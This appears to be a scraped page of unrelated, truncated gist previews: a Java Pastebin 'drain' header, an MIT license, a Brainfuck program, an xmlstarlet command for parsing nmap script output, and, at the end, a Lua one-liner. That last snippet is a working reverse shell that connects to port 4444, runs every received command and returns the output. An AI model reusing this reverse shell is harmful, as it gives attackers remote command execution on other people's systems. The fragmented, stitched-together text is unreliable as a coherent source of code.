This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package com.sinfonier.drains; | |
import java.sql.Timestamp; | |
import java.util.Date; | |
import org.glassfish.jersey.core; | |
/* | |
* PasteBinDrain | |
* Drain disenado para dumpear el contenido deseado en pastebin.com. | |
* | |
* Este drain utiliza la API oficial de pastebin para publicar el contenido. | |
* Los campos requeridos en la peticion son: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
The MIT License (MIT) | |
Copyright (c) 2014 sinfonier-project | |
Permission is hereby granted, free of charge, to any person obtaining a copy | |
of this software and associated documentation files (the "Software"), to deal | |
in the Software without restriction, including without limitation the rights | |
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell | |
copies of the Software, and to permit persons to whom the Software is |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
++++++++++[>++++++++<-]>+.[-]++++++++++[>+++++++++++<-]>+++++++.[-]++++++++++[>+ | |
+++++++++<-]>+++++.[-]++++++++++[>++++++++++<-]>+.[-]++++++++++[>+++++++++++<-]> | |
++++.[-]++++++++++[>+++++++++++<-]>+.[-]++++++++++[>+++<-]>++.[-]++++++++++[>+++ | |
+++++++<-]>+++++++++.[-]++++++++++[>++++++++++<-]>+++++.[-]++++++++++[>+++<-]>++ | |
.[-]++++++++++[>++++++++++<-]>+.[-]++++++++++[>+++++++++++<-]>.[-]++++++++++[>++ | |
+++++++++<-]>++++++.[-]++++++++++[>+++++++++++<-]>++++.[-]++++++++++[>+++++++++< | |
-]>+++++++.[-]++++++++++[>++++++++++<-]>.[-]++++++++++[>+++++++++<-]>+++++++.[-] | |
++++++++++[>+++<-]>++.[-]++++++++++[>++++++++++<-]>.[-]++++++++++[>++++++++++<-] | |
>+.[-]++++++++++[>+++<-]>++.[-]++++++++++[>++++++<-]>+++++++.[-]++++++++++[>++++ | |
++++<-]>.[-]++++++++++[>+++++++<-]>+++++++.[-]++++++++++[>++++++++<-]>++++++++.[ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
xmlstarlet sel -t -m "//host/ports/port/script" -o "{ip:'" -v "ancestor::host/address[@addrtype='ipv4']/@addr" -o "', hostname:'" -v "concat(ancestor::host/hostnames/hostname/@name,'')" -o "', proto:'" -v "../@protocol" -o "', port:" -v "../@portid" -o ", service:'" -v "../service/@name" -o "', script:'" -v "@id" -o "', script-output:'" -v "@output" -o "'}" -n <XML INPUT FILE> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()' |